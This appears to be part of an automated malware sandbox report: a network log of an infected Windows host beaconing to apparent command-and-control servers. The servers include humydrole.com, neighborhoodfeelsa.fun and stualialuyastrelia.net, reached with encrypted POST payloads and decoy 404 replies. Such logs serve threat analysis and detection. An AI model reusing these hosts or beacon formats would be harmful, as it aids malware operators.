Dec 19, 2023 03:22:44.295797110 CET	1286	IN	Data Raw: 83 c0 08 83 c2 08 4e 75 e2 eb 06 83 c0 04 83 c2 04 5e 83 e6 03 74 36 8a 08 3a 0a 75 30 4e 74 13 8a 48 01 3a 4a 01 75 25 4e 74 08 8a 48 02 3a 4a 02 75 1a 31 c0 5e 5b c3 5e 38 d9 75 10 38 fd 75 0c c1 e9 10 c1 eb 10 38 d9 75 02 38 fd 5e 5b c3 90 57 Data Ascii: Nu^t6:u0NtH:Ju%NtH:Ju1^[^8u8u8u8^[Wfx_i,@B,@SVWPtQ11F t-tE+tB$tBt20w*9w&Fut\|Y12_^[F~[)
Dec 19, 2023 03:22:44.295808077 CET	1286	IN	Data Raw: 00 85 d2 0f 84 8b 00 00 00 ff d2 85 c0 0f 84 81 00 00 00 8b 54 24 0c e8 db fe ff ff 89 c2 8b 44 24 04 8b 48 0c 83 48 04 02 53 31 db 56 57 55 64 8b 1b 53 50 52 51 8b 54 24 28 6a 00 50 68 79 2c 40 00 52 e8 53 e5 ff ff 8b 7c 24 28 e8 d2 04 00 00 ff Data Ascii: T$D$HHS1VWUdSPRQT$(jPhy,@RS\|$(o_G,@RA_D$@8tr@u@T$SVWUJYqt=9
Dec 19, 2023 03:22:44.295865059 CET	1286	IN	Data Raw: e8 05 0d 00 00 eb 0c 53 a1 d0 c3 40 00 50 e8 ca e0 ff ff 89 1d 8c c4 40 00 5b c3 8b c0 8a 0d 30 c0 40 00 8b 05 d0 c3 40 00 84 c9 75 28 64 8b 15 2c 00 00 00 8b 04 82 c3 e8 98 ff ff ff 8b 05 d0 c3 40 00 50 e8 8c e0 ff ff 85 c0 74 01 c3 8b 05 8c c4 Data Ascii: S@P@[0@@u(d,@Pt@PzttJI\|JuBSVtJI\|JuBNu^[t#JAPRBXXRH\|ZXJtJI\|JuB
Dec 19, 2023 03:22:44.295942068 CET	1286	IN	Data Raw: 00 8d 44 24 0c 50 53 57 6a 00 6a 00 e8 ce db ff ff 8b c8 8b d4 8b c6 e8 1f fc ff ff eb 33 6a 00 6a 00 6a 00 6a 00 53 57 6a 00 6a 00 e8 ae db ff ff 8b e8 8b c6 8b cd 33 d2 e8 fd fb ff ff 6a 00 6a 00 55 8b 06 50 53 57 6a 00 6a 00 e8 8e db ff ff 81 Data Ascii: D$PSWjj3jjjjSWjj3jjUPSWjj]_^[@SVS]^[SVWU) =}+hD$PV'PjjPD$P"(jjVSjjUjUWVSjj
Dec 19, 2023 03:22:44.296550035 CET	1286	IN	Data Raw: 5d d6 ff ff 40 0f 84 c9 00 00 00 2d 81 00 00 00 73 02 33 c0 6a 00 6a 00 50 ff 36 e8 79 d6 ff ff 40 0f 84 ad 00 00 00 6a 00 8b d4 6a 00 52 68 80 00 00 00 8d 96 4c 01 00 00 52 ff 36 e8 40 d6 ff ff 5a 48 0f 85 8b 00 00 00 33 c0 3b c2 73 4c 80 bc 06 Data Ascii: ]@-s3jjP6y@jjRhLR6@ZH3;sLLt@jj+P6/@tg6Hu]"F$O:@~tjjt;~t6tuF R:@3^6sFiFLH3@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49757	91.215.85.17	80	6092	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:22:50.328253984 CET	286	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://stualialuyastrelia.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 4431 Host: stualialuyastrelia.net
Dec 19, 2023 03:22:50.328377962 CET	4431	OUT	Data Raw: 48 9d f8 c9 40 14 55 20 5a 76 51 2f 78 da 53 bb 20 6e ed 14 f8 1d aa a8 c1 61 a2 80 01 ff d5 91 88 a9 81 c4 77 37 e3 c0 d1 5b 6a 34 cc c4 b9 41 dd 0f 7e 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 81 9a c6 a4 19 ba 8a 14 62 cd d6 4f 96 93 c1 0a d9 Data Ascii: H@U ZvQ/xS naw7[j4A~;}f=BbOp&QD{jB+"m]it4JEBP5XO2m\|-Tr{;j9@O 2'`ssf4Sy6U`A
Dec 19, 2023 03:22:50.623637915 CET	599	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Tue, 19 Dec 2023 02:22:50 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49760	104.21.87.137	80	6544	C:\Users\user\AppData\Local\Temp\826E.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:22:58.884394884 CET	269	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: neighborhoodfeelsa.fun
Dec 19, 2023 03:22:58.884439945 CET	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
Dec 19, 2023 03:23:29.785783052 CET	737	IN	HTTP/1.1 522 Date: Tue, 19 Dec 2023 02:23:29 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: keep-alive Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Y2y4t%2BoZ69OS9nsK10NJ69rDAq%2Fv6LbONAJqd%2FHm3uBMKxZnpRWHSxpFaWXFHY%2B%2BsUzeHzCwfwfIosZXTPkPwBjPqwKWsAeax6ZuLz9LOYmBSVl1Ti7jJ0AuiKL8F6LYTL3t6IT5mW6R"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Server: cloudflare CF-RAY: 837c2e525fdd8dee-MIA Data Raw: 65 72 72 6f 72 20 63 6f 64 65 3a 20 35 32 32 Data Ascii: error code: 522

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49761	104.21.87.137	80	4476	C:\Users\user\AppData\Local\Temp\933A.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:23:03.735469103 CET	269	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: neighborhoodfeelsa.fun
Dec 19, 2023 03:23:03.735500097 CET	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
Dec 19, 2023 03:23:34.521893978 CET	733	IN	HTTP/1.1 522 Date: Tue, 19 Dec 2023 02:23:34 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: keep-alive Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=1LymdLCnobWaKuK2ClLQddMneymeHiJPbr6qiqTwRxBVaHeqHsX%2FQAyUtdkzKBb3olcqLIMNmhyz%2FzA790WcJJa86oV37OR5zut4CgCR%2FwXNT9D3QF7tBHmhzNmMvn1iZCxfX8rCjyDF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Server: cloudflare CF-RAY: 837c2e70aa8f8dbe-MIA Data Raw: 65 72 72 6f 72 20 63 6f 64 65 3a 20 35 32 32 Data Ascii: error code: 522

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49762	190.224.203.37	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:23:06.108653069 CET	284	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wnuiktwjhtbdv.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 116 Host: humydrole.com
Dec 19, 2023 03:23:06.108781099 CET	116	OUT	Data Raw: 3b 6e 23 13 80 bb 69 24 aa af c1 05 05 72 09 ba 0d 0d ce e4 62 01 e5 16 7e 7f 7c e6 37 b1 c5 6e 99 29 cf 5b 05 6b 26 1b 9c 99 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 63 08 f8 93 Data Ascii: ;n#i$rb~\|7n)[k&? 9Yt M@NA .[k,vucbDVav(cM
Dec 19, 2023 03:23:07.284492970 CET	253	IN	HTTP/1.0 404 Not Found Date: Tue, 19 Dec 2023 02:23:06 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 8 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 04 00 00 00 72 e8 86 ef Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49763	190.224.203.37	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:23:07.571753025 CET	287	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hmeqhlrafplirlmd.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 317 Host: humydrole.com
Dec 19, 2023 03:23:07.571784973 CET	317	OUT	Data Raw: 3b 6e 23 13 80 bb 69 24 aa af c1 05 05 72 09 ba 0d 0d ce e4 62 01 e5 16 7e 7f 7c e6 37 b1 c5 6e 99 29 cf 5b 05 6b 26 1b 9c 99 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0a 6b 2c 90 f5 76 0b 75 73 0f b2 fd Data Ascii: ;n#i$rb~\|7n)[k&? 9Yt M@NA -[k,vus\zRb0gE,3<OU'QZa)Q%X/WYkN7hIG$'-%Daj,D3d8_/d
Dec 19, 2023 03:23:08.709702015 CET	587	IN	HTTP/1.0 404 Not Found Date: Tue, 19 Dec 2023 02:23:08 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49764	190.224.203.37	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:23:08.997045040 CET	286	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://braklwanawvixjv.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 125 Host: humydrole.com
Dec 19, 2023 03:23:08.997072935 CET	125	OUT	Data Raw: 3b 6e 23 13 80 bb 69 24 aa af c1 05 05 72 09 ba 0d 0d ce e4 62 01 e5 16 7e 7f 7c e6 37 b1 c5 6e 99 29 cf 5b 05 6b 26 1b 9c 99 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0b 6b 2c 90 f5 76 0b 75 4d 05 b9 84 Data Ascii: ;n#i$rb~\|7n)[k&? 9Yt M@NA -[k,vuMN^FxbsHv&owCyW(3
Dec 19, 2023 03:23:10.170725107 CET	587	IN	HTTP/1.0 404 Not Found Date: Tue, 19 Dec 2023 02:23:09 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49765	190.224.203.37	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:23:10.460772991 CET	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ablmomjugacg.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 285 Host: humydrole.com
Dec 19, 2023 03:23:10.460807085 CET	285	OUT	Data Raw: 3b 6e 23 13 80 bb 69 24 aa af c1 05 05 72 09 ba 0d 0d ce e4 62 01 e5 16 7e 7f 7c e6 37 b1 c5 6e 99 29 cf 5b 05 6b 26 1b 9c 99 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 08 6b 2c 90 f5 76 0b 75 75 09 cb b7 Data Ascii: ;n#i$rb~\|7n)[k&? 9Yt M@NA -[k,vuuLP`;\|_BEdssI2TL <0#9Hd1Q-5X=J&?`-y\c^;hu >!BrwKBC
Dec 19, 2023 03:23:11.630155087 CET	587	IN	HTTP/1.0 404 Not Found Date: Tue, 19 Dec 2023 02:23:11 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49766	190.224.203.37	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:23:11.925065041 CET	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://oomegesffdli.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 221 Host: humydrole.com
Dec 19, 2023 03:23:11.925096035 CET	221	OUT	Data Raw: 3b 6e 23 13 80 bb 69 24 aa af c1 05 05 72 09 ba 0d 0d ce e4 62 01 e5 16 7e 7f 7c e6 37 b1 c5 6e 99 29 cf 5b 05 6b 26 1b 9c 99 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 09 6b 2c 90 f5 76 0b 75 47 3f a5 81 Data Ascii: ;n#i$rb~\|7n)[k&? 9Yt M@NA -[k,vuG?XHYvKi$#yIjVp'iSY3CP#*L$TeQ#$&XZQloAN[Hzwt
Dec 19, 2023 03:23:13.104329109 CET	587	IN	HTTP/1.0 404 Not Found Date: Tue, 19 Dec 2023 02:23:12 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49767	190.224.203.37	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:23:13.392072916 CET	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://qnrfakshfaq.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 161 Host: humydrole.com
Dec 19, 2023 03:23:13.392103910 CET	161	OUT	Data Raw: 3b 6e 23 13 80 bb 69 24 aa af c1 05 05 72 09 ba 0d 0d ce e4 62 01 e5 16 7e 7f 7c e6 37 b1 c5 6e 99 29 cf 5b 05 6b 26 1b 9c 99 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0e 6b 2c 90 f5 76 0b 75 33 3c f9 88 Data Ascii: ;n#i$rb~\|7n)[k&? 9Yt M@NA -[k,vu3<xH{u>6wY50CmD#,S;2+V[Q6%3
Dec 19, 2023 03:23:14.566399097 CET	587	IN	HTTP/1.0 404 Not Found Date: Tue, 19 Dec 2023 02:23:13 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49768	190.224.203.37	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:23:14.855807066 CET	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://iiwjounqfbfe.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 279 Host: humydrole.com
